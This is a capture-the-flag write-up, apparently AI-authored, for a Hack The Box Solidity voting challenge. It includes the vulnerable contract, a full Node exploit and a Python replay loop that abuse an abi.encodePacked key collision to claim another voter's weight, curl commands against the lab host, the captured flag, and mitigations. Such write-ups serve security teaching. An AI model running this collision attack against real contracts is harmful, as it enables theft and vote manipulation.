//NotADemocraticElection
Category: Blockchain
Challenge: NotADemocraticElection
Target host: 94.237.56.254:30243 (JSON-RPC + small HTTP service)
>Summary
This challenge contained a Solidity voting contract NotADemocraticElection and a Setup contract that deployed it and deposited 100 ETH of voter collateral for ("Satoshi","Nakamoto") from the constructor. The goal is to make the CIM party the winner so that Setup.isSolved() returns true and the webserver exposes the final flag at /flag.
The vulnerability is an encoding collision between how voter identities are stored in two different mappings:
-
uniqueVotersis keyed by two separate string keys:uniqueVoters[_name][_surname](separate mapping keys) -
votersis keyed by a singlebytesvalue produced byabi.encodePacked(_name, _surname)
Because abi.encodePacked concatenates the string bytes without separator, different name/surname pairs that concatenate to the same byte string will collide and share the same voters entry. The constructor deposited 100 ETH weight into voters[abi.encodePacked("Satoshi","Nakamoto")] but set uniqueVoters["Satoshi"]["Nakamoto"] to the Setup contract address. We can register a different name/surname pair such as ("S", "atoshiNakamoto") — this pair has a distinct uniqueVoters["S"]["atoshiNakamoto"] entry (initially zero) but abi.encodePacked("S","atoshiNakamoto") == abi.encodePacked("Satoshi","Nakamoto"), so both pairs index the same voters[...] weight. This allows us to claim the voter collateral without sending ETH and then cast powerful votes using that weight multiple times.
By repeating the vote call enough times (10 votes of 100e18 weight) we reach the TARGET_VOTES of 1000e18 and trigger checkWinner, which sets winner = bytes3("CIM"). Setup.isSolved() then returns true.
>Vulnerable contract code (full)
NotADemocraticElection.sol
pragma solidity 0.8.25;
contract NotADemocraticElection {
// ****************************************************
// ******* NOTE: THIS NOT A DEMOCRATIC ELECTION *******
// ****************************************************
uint256 constant TARGET_VOTES = 1000e18;
struct Party {
string fullname;
uint256 totalvotes;
}
struct Voter {
uint256 weight;
address addr;
}
mapping(bytes3 _id => Party) public parties;
mapping(bytes _sig => Voter) public voters;
mapping(string _name => mapping(string _surname => address _addr)) public uniqueVoters;
bytes3 public winner;
event Voted(
address _voter,
bytes3 _party
);
event VoterDeposited(
address _voter,
uint256 _weight
);
event ElectionWinner(
bytes3 _party
);
constructor(
bytes3 _partyAsymbol , string memory _partyAfullname,
bytes3 _partyBsymbol , string memory _partyBfullname
) {
parties[_partyAsymbol].fullname = _partyAfullname;
parties[_partyBsymbol].fullname = _partyBfullname;
}
function getVotesCount(bytes3 _party) public view returns (uint256) {
return parties[_party].totalvotes;
}
function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) {
return abi.encodePacked(_name, _surname);
}
function checkWinner(bytes3 _party) public {
if (parties[_party].totalvotes >= TARGET_VOTES) {
winner = _party;
emit ElectionWinner(_party);
}
}
function depositVoteCollateral(string memory _name, string memory _surname) external payable {
require(uniqueVoters[_name][_surname] == address(0), "Already deposited");
bytes memory voterSig = getVoterSig(_name, _surname);
voters[voterSig].weight += msg.value;
uniqueVoters[_name][_surname] = msg.sender;
emit VoterDeposited(msg.sender, msg.value);
}
function vote(
bytes3 _party,
string memory _name,
string memory _surname
) public {
require(uniqueVoters[_name][_surname] == msg.sender, "You cannot vote on behalf of others.");
bytes memory voterSig = getVoterSig(_name, _surname);
uint256 voterWeight = voters[voterSig].weight == 0 ? 1 : voters[voterSig].weight;
parties[_party].totalvotes += 1 * voterWeight;
emit Voted(msg.sender, _party);
checkWinner(_party);
}
}
Setup.sol
pragma solidity 0.8.25;
import {NotADemocraticElection} from "./NotADemocraticElection.sol";
contract Setup {
NotADemocraticElection public immutable TARGET;
constructor() payable {
TARGET = new NotADemocraticElection(
bytes3("ALF"), "Automata Liberation Front",
bytes3("CIM"), "Cyborgs Indipendence Movement"
);
TARGET.depositVoteCollateral{value: 100 ether}("Satoshi", "Nakamoto");
}
function isSolved() public view returns (bool) {
return TARGET.winner() == bytes3("CIM");
}
}
>Exploit code (full)
I used a mixture of Node and Python to compute calldata and drive the JSON-RPC. Below is a consolidated Node script and a Python example used during the exploit.
Node exploit (ethers) — 002_exploit.js
const { ethers } = require('ethers');
// Remote JSON-RPC and account (from eth_accounts)
const RPC = 'http://94.237.56.254:30243';
const FROM = '0x330da34e397d46b685a3f606bc36bed08245eaa4';
const SETUP = '0x4cb857fa6c88056938f42ff1fb5300a1880a569f';
const TARGET = '0x83823ab9553336fd97ae7b5a8faf2078f2212287';
async function main() {
const provider = new ethers.JsonRpcProvider(RPC);
// ABI fragments we need
const iface = new ethers.Interface([
'function depositVoteCollateral(string memory _name, string memory _surname) payable',
'function vote(bytes3 _party, string memory _name, string memory _surname)'
]);
// 1) depositCollateral with split name that collides with "Satoshi","Nakamoto"
const name1 = 'S';
const surname1 = 'atoshiNakamoto';
const data1 = iface.encodeFunctionData('depositVoteCollateral', [name1, surname1]);
console.log('\n--- Sending depositVoteCollateral (zero value) as', FROM);
const tx1 = {
from: FROM,
to: TARGET,
data: data1,
value: '0x0',
gas: '0x3d090' // 250000
};
const tx1hash = await provider.send('eth_sendTransaction', [tx1]);
console.log('tx1 hash:', tx1hash);
// wait for tx1 to be mined
await waitForTx(provider, tx1hash);
// 2) vote for CIM
const party = ethers.toUtf8Bytes('CIM');
// bytes3: take first 3 bytes
const partyBytes3 = ethers.hexlify(party).slice(0, 2 + 3*2);
const data2 = iface.encodeFunctionData('vote', [partyBytes3, name1, surname1]);
console.log('\n--- Sending vote() for CIM as', FROM);
const tx2 = {
from: FROM,
to: TARGET,
data: data2,
gas: '0x3d090'
};
const tx2hash = await provider.send('eth_sendTransaction', [tx2]);
console.log('tx2 hash:', tx2hash);
await waitForTx(provider, tx2hash);
// 3) Check isSolved on Setup
const ifaceSetup = new ethers.Interface(['function isSolved() view returns (bool)']);
const data3 = ifaceSetup.encodeFunctionData('isSolved', []);
const res = await provider.call({ to: SETUP, data: data3 });
const decoded = ifaceSetup.decodeFunctionResult('isSolved', res);
console.log('\nisSolved =>', decoded[0]);
// Check winner bytes directly from TARGET (winner() selector)
const ifaceTarget = new ethers.Interface(['function winner() view returns (bytes3)']);
const res2 = await provider.call({ to: TARGET, data: ifaceTarget.encodeFunctionData('winner', []) });
const winner = ifaceTarget.decodeFunctionResult('winner', res2)[0];
console.log('winner bytes3 =>', winner);
}
async function waitForTx(provider, hash) {
console.log('waiting for tx to be mined...');
for (;;) {
const rec = await provider.getTransactionReceipt(hash).catch(()=>null);
if (rec && rec.blockNumber) {
console.log('mined in block', rec.blockNumber);
return rec;
}
await new Promise(r => setTimeout(r, 1500));
}
}
main().catch(e => { console.error(e); process.exit(1); });
Python driver snippets
During the exploit I used short Python snippets to call the JSON-RPC directly (the node had unlocked accounts), for example to replay multiple votes quickly.
Example (send multiple votes):
import json, urllib.request, time
RPC='http://94.237.56.254:30243'
TARGET='0x83823ab9553336fd97ae7b5a8faf2078f2212287'
FROM='0x330da34e397d46b685a3f606bc36bed08245eaa4'
def rpc(method, params):
req = json.dumps({"jsonrpc":"2.0","method":method,"params":params,"id":1}).encode()
return json.loads(urllib.request.urlopen(urllib.request.Request(RPC,data=req,headers={'Content-Type':'application/json'})).read().decode())
# precomputed vote calldata using ethers
vote_calldata = "0x1cf95e99..." # replace with full calldata from exploit
for i in range(9):
r = rpc('eth_sendTransaction', [{"from":FROM, "to":TARGET, "data":vote_calldata}])
print('sent vote', i+2, 'txhash', r['result'])
time.sleep(1)
Replace vote_calldata with the exact calldata produced by iface.encodeFunctionData('vote', [...]) in the Node script.
>Reproduction (step-by-step)
-
Extract the provided files (already done in repository). Look at
NotADemocraticElection.solandSetup.sol. -
Connect to the JSON-RPC endpoint:
# confirm node
curl -s -X POST http://94.237.56.254:30243 -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"eth_chainId","params":[],"id":1}'
- Observe the accounts available (the challenge node had unlocked accounts):
curl -s -X POST http://94.237.56.254:30243 -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}'
- Compute the colliding name split.
abi.encodePacked("S","atoshiNakamoto")equalsabi.encodePacked("Satoshi","Nakamoto"). You can verify with Node/ethers:
node -e "const { ethers }=require('ethers'); const full=ethers.hexlify(ethers.concat([ethers.toUtf8Bytes('Satoshi'),ethers.toUtf8Bytes('Nakamoto')])); const split=ethers.hexlify(ethers.concat([ethers.toUtf8Bytes('S'),ethers.toUtf8Bytes('atoshiNakamoto')])); console.log(full, split)"
-
Use the provided unlocked account to call
depositVoteCollateral('S', 'atoshiNakamoto')with zero value (this setsuniqueVoters['S']['atoshiNakamoto'] = your_addressbut uses the samevoters[...]key that already has 100 ETH weight from constructor). Then callvote(bytes3('CIM'), 'S', 'atoshiNakamoto')repeatedly (10 times total) to add 100e18 votes per call and reach 1000e18. -
Confirm success by calling
isSolved()on theSetupcontract (selector 0x64d98f6e) or call the public getter. When solved, visit the HTTP endpoint/flagto read the final flag.
curl http://94.237.56.254:30243/flag
>Output from the service
After performing the exploit and making CIM the winner, the webserver exposes the flag at /flag:
HTB{h4sh_c0ll1s10n_t0_br1ng_b4ck_d3m0cr4cy}
>Root cause & mitigation
-
Root cause: using
abi.encodePackedto derive a lookup key forvoterswithout a clear separator or length-prefix allows second preimage collisions when variable-length strings are concatenated. MeanwhileuniqueVotersuses separate mapping keys, so the same logical identity can be registered under different tuple splits while still indexing the samevotersentry. -
Mitigations:
- Use a collision-resistant key derivation for composite keys. For example, use keccak256(abi.encode(_name, _surname)) (i.e., abi.encode not abi.encodePacked or explicitly include a separator) and use bytes32 keys.
- Alternatively store a combined mapping mapping(bytes32 => address) uniqueVoters where the key is keccak256(abi.encode(_name, _surname)).
- Validate invariant that uniqueVoters and voters correspond correctly (single canonical representation) and avoid multiple mappings derived by different encodings.
>Files added during writeup
-
001_writeup.md(this file) -
002_exploit.js(initial exploit) -
003_make_payloads.js(helper) -
005_attack.py(python driver used during testing)
If you want, I can:
-
produce a single, polished exploit script that runs end-to-end and prints progress with emojis and separators, using a virtualenv as you requested.
-
or create a
README.mdwith exact commands to reproduce and to clean up.
End of writeup.